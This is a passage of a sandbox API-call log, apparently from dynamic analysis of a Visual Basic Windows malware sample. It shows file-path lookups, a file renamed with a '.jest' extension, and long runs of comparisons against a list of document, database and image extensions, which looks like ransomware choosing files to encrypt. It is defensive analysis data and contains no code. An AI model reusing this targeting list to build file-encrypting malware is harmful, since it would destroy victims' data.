cAlternateFileName="")) returned 0x143ce48 [0125.159] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.160] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png", lpFilePart=0x18e780*="drag.png") returned 0x44 [0125.160] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png", lpFilePart=0x18e780*="drag.png") returned 0x44 [0125.160] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.160] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0xab)) [0125.160] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0xab)) [0125.160] GetUserDefaultLCID () returned 0x409 [0125.160] VarBstrFromR4 (in: fltIn=0x47944496, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.17") returned 0x0 [0125.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="(") returned 1 [0125.161] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png", lpFilePart=0x18e780*="drag.png") returned 0x44 [0125.162] GetFullPathNameA (in: lpFileName="6pmmj2VhV8Ul0FIEbxqrusP5huxCjFKlp18YhJZmKPTR_sOSnduKUKWsJLj1L0B7a5MARmS m3eW23_vKrmTK8t6i9_tRS71qTvH.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6pmmj2VhV8Ul0FIEbxqrusP5huxCjFKlp18YhJZmKPTR_sOSnduKUKWsJLj1L0B7a5MARmS m3eW23_vKrmTK8t6i9_tRS71qTvH.tmp", lpFilePart=0x18e708*="6pmmj2VhV8Ul0FIEbxqrusP5huxCjFKlp18YhJZmKPTR_sOSnduKUKWsJLj1L0B7a5MARmS m3eW23_vKrmTK8t6i9_tRS71qTvH.tmp") returned 0x8e [0125.162] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png", lpFilePart=0x18e708*="drag.png") returned 0x44 [0125.162] GetFullPathNameA (in: lpFileName="6pmmj2VhV8Ul0FIEbxqrusP5huxCjFKlp18YhJZmKPTR_sOSnduKUKWsJLj1L0B7a5MARmS m3eW23_vKrmTK8t6i9_tRS71qTvH.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6pmmj2VhV8Ul0FIEbxqrusP5huxCjFKlp18YhJZmKPTR_sOSnduKUKWsJLj1L0B7a5MARmS m3eW23_vKrmTK8t6i9_tRS71qTvH.tmp", lpFilePart=0x18e6e4*="6pmmj2VhV8Ul0FIEbxqrusP5huxCjFKlp18YhJZmKPTR_sOSnduKUKWsJLj1L0B7a5MARmS m3eW23_vKrmTK8t6i9_tRS71qTvH.tmp") returned 0x8e [0125.162] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6pmmj2VhV8Ul0FIEbxqrusP5huxCjFKlp18YhJZmKPTR_sOSnduKUKWsJLj1L0B7a5MARmS m3eW23_vKrmTK8t6i9_tRS71qTvH.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6d6d7036, cFileName="j2VhV8Ul0FIEbxqrusP5huxCjFKlp18YhJZmKPTR_sOSnduKUKWsJLj1L0B7a5MARmS m3eW23_vKrmTK8t6i9_tRS71qTvH.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.163] GetLastError () returned 0x2 [0125.163] GetLastError () returned 0x2 [0125.163] SetLastError (dwErrCode=0x2) [0125.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.163] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.164] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png", lpFilePart=0x18e870*="icon.png") returned 0x44 [0125.208] VarBstrCmp (bstrLeft="msvbvm60.dll", bstrRight="msvbvm60.dll", lcid=0x0, dwFlags=0x30001) returned 0x1 [0125.208] SafeArrayRedim (in: psa=0x14da4c0, psaboundNew=0x18e9e0 | out: psa=0x14da4c0) returned 0x0 [0125.211] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png.jest", lpFilePart=0x18e870*="icon.png.jest") returned 0x49 [0125.214] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png", lpFilePart=0x18e6d8*="icon.png") returned 0x44 [0125.214] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44cd7dc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb44cd7dc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb44cd7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c, dwReserved0=0x78, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 0x143ce48 [0125.215] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.215] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png", lpFilePart=0x18e780*="icon.png") returned 0x44 [0125.218] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png", lpFilePart=0x18e780*="icon.png") returned 0x44 [0125.218] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.218] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0xea)) [0125.219] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0xea)) [0125.219] GetUserDefaultLCID () returned 0x409 [0125.219] VarBstrFromR4 (in: fltIn=0x4794449e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.23") returned 0x0 [0125.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="Ü") returned 1 [0125.220] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png", lpFilePart=0x18e780*="icon.png") returned 0x44 [0125.221] GetFullPathNameA (in: lpFileName="MU86IXsdD7f2OrwLZJWy4vR0pTCItmTPb507RlUDBD4ky9pmtOkD6-0vg2eVyWG-SO_VM4xPfymxctLjQZ9JWiRsRpCSAZhqQBoSx.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MU86IXsdD7f2OrwLZJWy4vR0pTCItmTPb507RlUDBD4ky9pmtOkD6-0vg2eVyWG-SO_VM4xPfymxctLjQZ9JWiRsRpCSAZhqQBoSx.tmp", lpFilePart=0x18e708*="MU86IXsdD7f2OrwLZJWy4vR0pTCItmTPb507RlUDBD4ky9pmtOkD6-0vg2eVyWG-SO_VM4xPfymxctLjQZ9JWiRsRpCSAZhqQBoSx.tmp") returned 0x8f [0125.221] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png", lpFilePart=0x18e708*="icon.png") returned 0x44 [0125.221] GetFullPathNameA (in: lpFileName="MU86IXsdD7f2OrwLZJWy4vR0pTCItmTPb507RlUDBD4ky9pmtOkD6-0vg2eVyWG-SO_VM4xPfymxctLjQZ9JWiRsRpCSAZhqQBoSx.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MU86IXsdD7f2OrwLZJWy4vR0pTCItmTPb507RlUDBD4ky9pmtOkD6-0vg2eVyWG-SO_VM4xPfymxctLjQZ9JWiRsRpCSAZhqQBoSx.tmp", lpFilePart=0x18e6e4*="MU86IXsdD7f2OrwLZJWy4vR0pTCItmTPb507RlUDBD4ky9pmtOkD6-0vg2eVyWG-SO_VM4xPfymxctLjQZ9JWiRsRpCSAZhqQBoSx.tmp") returned 0x8f [0125.221] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MU86IXsdD7f2OrwLZJWy4vR0pTCItmTPb507RlUDBD4ky9pmtOkD6-0vg2eVyWG-SO_VM4xPfymxctLjQZ9JWiRsRpCSAZhqQBoSx.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x3638554d, cFileName="IXsdD7f2OrwLZJWy4vR0pTCItmTPb507RlUDBD4ky9pmtOkD6-0vg2eVyWG-SO_VM4xPfymxctLjQZ9JWiRsRpCSAZhqQBoSx.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.221] GetLastError () returned 0x2 [0125.222] GetLastError () returned 0x2 [0125.222] SetLastError (dwErrCode=0x2) [0125.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.222] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.222] VarBstrCmp (bstrLeft="icon.png", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.222] VarBstrCmp (bstrLeft=".png", bstrRight=".bas", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.222] VarBstrCmp (bstrLeft="png", bstrRight=".py", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.222] VarBstrCmp (bstrLeft=".png", bstrRight=".pyc", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.223] VarBstrCmp (bstrLeft=".png", bstrRight=".pdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.223] VarBstrCmp (bstrLeft=".png", bstrRight=".ost", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.223] VarBstrCmp (bstrLeft="n.png", bstrRight=".mail", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.223] VarBstrCmp (bstrLeft=".png", bstrRight=".bak", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.223] VarBstrCmp (bstrLeft=".png", bstrRight=".cfg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.223] VarBstrCmp (bstrLeft=".png", bstrRight=".sql", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.223] VarBstrCmp (bstrLeft=".png", bstrRight=".log", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.223] VarBstrCmp (bstrLeft=".png", bstrRight=".doc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.223] VarBstrCmp (bstrLeft=".png", bstrRight=".xml", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.223] VarBstrCmp (bstrLeft="n.png", bstrRight=".proj", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.223] VarBstrCmp (bstrLeft=".png", bstrRight=".dot", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.223] VarBstrCmp (bstrLeft="n.png", bstrRight=".docx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.223] VarBstrCmp (bstrLeft="n.png", bstrRight=".docm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.223] VarBstrCmp (bstrLeft="n.png", bstrRight=".dotx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.224] VarBstrCmp (bstrLeft="n.png", bstrRight=".dotm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.224] VarBstrCmp (bstrLeft="n.png", bstrRight=".docb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.224] VarBstrCmp (bstrLeft=".png", bstrRight=".xls", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.224] VarBstrCmp (bstrLeft=".png", bstrRight=".xlt", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.224] VarBstrCmp (bstrLeft=".png", bstrRight=".xlm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.224] VarBstrCmp (bstrLeft="n.png", bstrRight=".xlsx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.224] VarBstrCmp (bstrLeft="n.png", bstrRight=".xlsm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.224] VarBstrCmp (bstrLeft="n.png", bstrRight=".xltx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.224] VarBstrCmp (bstrLeft="n.png", bstrRight=".xltm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.224] VarBstrCmp (bstrLeft="n.png", bstrRight=".xlsb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.224] VarBstrCmp (bstrLeft=".png", bstrRight=".xla", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.224] VarBstrCmp (bstrLeft="n.png", bstrRight=".xlam", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.224] VarBstrCmp (bstrLeft=".png", bstrRight=".xll", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.224] VarBstrCmp (bstrLeft=".png", bstrRight=".xlw", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.225] VarBstrCmp (bstrLeft=".png", bstrRight=".ppt", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.225] VarBstrCmp (bstrLeft=".png", bstrRight=".pot", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.225] VarBstrCmp (bstrLeft=".png", bstrRight=".pps", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.225] VarBstrCmp (bstrLeft="n.png", bstrRight=".pptx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.225] VarBstrCmp (bstrLeft="n.png", bstrRight=".pptm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.225] VarBstrCmp (bstrLeft="n.png", bstrRight=".potx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.225] VarBstrCmp (bstrLeft="n.png", bstrRight=".potm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.225] VarBstrCmp (bstrLeft="n.png", bstrRight=".ppam", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.225] VarBstrCmp (bstrLeft="n.png", bstrRight=".ppsx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.225] VarBstrCmp (bstrLeft="n.png", bstrRight=".ppsm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.225] VarBstrCmp (bstrLeft="n.png", bstrRight=".sldx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.225] VarBstrCmp (bstrLeft="n.png", bstrRight=".sldm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.225] VarBstrCmp (bstrLeft="on.png", bstrRight=".ACCDB", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.225] VarBstrCmp (bstrLeft="icon.png", bstrRight=".SQLITE3", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.226] VarBstrCmp (bstrLeft="on.png", bstrRight=".ACCDR", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.226] VarBstrCmp (bstrLeft=".png", bstrRight=".txt", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.226] VarBstrCmp (bstrLeft=".png", bstrRight=".ned", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.226] VarBstrCmp (bstrLeft=".png", bstrRight=".ntm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.226] VarBstrCmp (bstrLeft=".png", bstrRight=".flt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.226] VarBstrCmp (bstrLeft=".png", bstrRight=".nrp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.226] VarBstrCmp (bstrLeft="png", bstrRight=".db", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.226] VarBstrCmp (bstrLeft=".png", bstrRight=".3fr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.226] VarBstrCmp (bstrLeft="png", bstrRight=".ai", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.226] VarBstrCmp (bstrLeft=".png", bstrRight=".arw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.226] VarBstrCmp (bstrLeft=".png", bstrRight=".bay", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.226] VarBstrCmp (bstrLeft=".png", bstrRight=".cdr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.226] VarBstrCmp (bstrLeft=".png", bstrRight=".cer", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.227] VarBstrCmp (bstrLeft=".png", bstrRight=".cr2", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.227] VarBstrCmp (bstrLeft=".png", bstrRight=".crt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.227] VarBstrCmp (bstrLeft=".png", bstrRight=".crw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.227] VarBstrCmp (bstrLeft=".png", bstrRight=".dbf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.227] VarBstrCmp (bstrLeft=".png", bstrRight=".dcr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.227] VarBstrCmp (bstrLeft=".png", bstrRight=".der", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.227] VarBstrCmp (bstrLeft=".png", bstrRight=".dng", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.227] VarBstrCmp (bstrLeft=".png", bstrRight=".dwg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.227] VarBstrCmp (bstrLeft=".png", bstrRight=".dxf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.227] VarBstrCmp (bstrLeft=".png", bstrRight=".dxg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.227] VarBstrCmp (bstrLeft=".png", bstrRight=".eps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.227] VarBstrCmp (bstrLeft="n.png", bstrRight=".java", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.227] VarBstrCmp (bstrLeft="n.png", bstrRight=".jpeg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.227] VarBstrCmp (bstrLeft=".png", bstrRight=".jpg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.228] VarBstrCmp (bstrLeft="icon.png", bstrRight=".SQLITEDB", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.228] VarBstrCmp (bstrLeft=".png", bstrRight=".mdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.228] VarBstrCmp (bstrLeft=".png", bstrRight=".mdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.228] VarBstrCmp (bstrLeft=".png", bstrRight=".mef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.228] VarBstrCmp (bstrLeft=".png", bstrRight=".mrw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.228] VarBstrCmp (bstrLeft=".png", bstrRight=".nef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.228] VarBstrCmp (bstrLeft=".png", bstrRight=".png", lcid=0x1, dwFlags=0x30001) returned 0x1 [0125.229] VarBstrCmp (bstrLeft="lock.html", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.229] VarBstrCmp (bstrLeft="html", bstrRight=".bas", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.229] VarBstrCmp (bstrLeft="tml", bstrRight=".py", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.229] VarBstrCmp (bstrLeft="html", bstrRight=".pyc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.230] VarBstrCmp (bstrLeft="html", bstrRight=".pdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.230] VarBstrCmp (bstrLeft="html", bstrRight=".ost", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.230] VarBstrCmp (bstrLeft=".html", bstrRight=".mail", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.230] VarBstrCmp (bstrLeft="html", bstrRight=".bak", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.230] VarBstrCmp (bstrLeft="html", bstrRight=".cfg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.230] VarBstrCmp (bstrLeft="html", bstrRight=".sql", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.230] VarBstrCmp (bstrLeft="html", bstrRight=".log", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.230] VarBstrCmp (bstrLeft="html", bstrRight=".doc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.230] VarBstrCmp (bstrLeft="html", bstrRight=".xml", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.230] VarBstrCmp (bstrLeft=".html", bstrRight=".proj", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.230] VarBstrCmp (bstrLeft="html", bstrRight=".dot", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.230] VarBstrCmp (bstrLeft=".html", bstrRight=".docx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.231] VarBstrCmp (bstrLeft=".html", bstrRight=".docm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.231] VarBstrCmp (bstrLeft=".html", bstrRight=".dotx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.231] VarBstrCmp (bstrLeft=".html", bstrRight=".dotm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.231] VarBstrCmp (bstrLeft=".html", bstrRight=".docb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.231] VarBstrCmp (bstrLeft="html", bstrRight=".xls", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.231] VarBstrCmp (bstrLeft="html", bstrRight=".xlt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.231] VarBstrCmp (bstrLeft="html", bstrRight=".xlm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.231] VarBstrCmp (bstrLeft=".html", bstrRight=".xlsx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.231] VarBstrCmp (bstrLeft=".html", bstrRight=".xlsm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.231] VarBstrCmp (bstrLeft=".html", bstrRight=".xltx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.231] VarBstrCmp (bstrLeft=".html", bstrRight=".xltm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.231] VarBstrCmp (bstrLeft=".html", bstrRight=".xlsb", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.231] VarBstrCmp (bstrLeft="html", bstrRight=".xla", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.231] VarBstrCmp (bstrLeft=".html", bstrRight=".xlam", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.231] VarBstrCmp (bstrLeft="html", bstrRight=".xll", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.231] VarBstrCmp (bstrLeft="html", bstrRight=".xlw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.231] VarBstrCmp (bstrLeft="html", bstrRight=".ppt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.232] VarBstrCmp (bstrLeft="html", bstrRight=".pot", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.232] VarBstrCmp (bstrLeft="html", bstrRight=".pps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.232] VarBstrCmp (bstrLeft=".html", bstrRight=".pptx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.232] VarBstrCmp (bstrLeft=".html", bstrRight=".pptm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.232] VarBstrCmp (bstrLeft=".html", bstrRight=".potx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.232] VarBstrCmp (bstrLeft=".html", bstrRight=".potm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.232] VarBstrCmp (bstrLeft=".html", bstrRight=".ppam", lcid=0x1, dwFlags=0x30001) returned 0x0 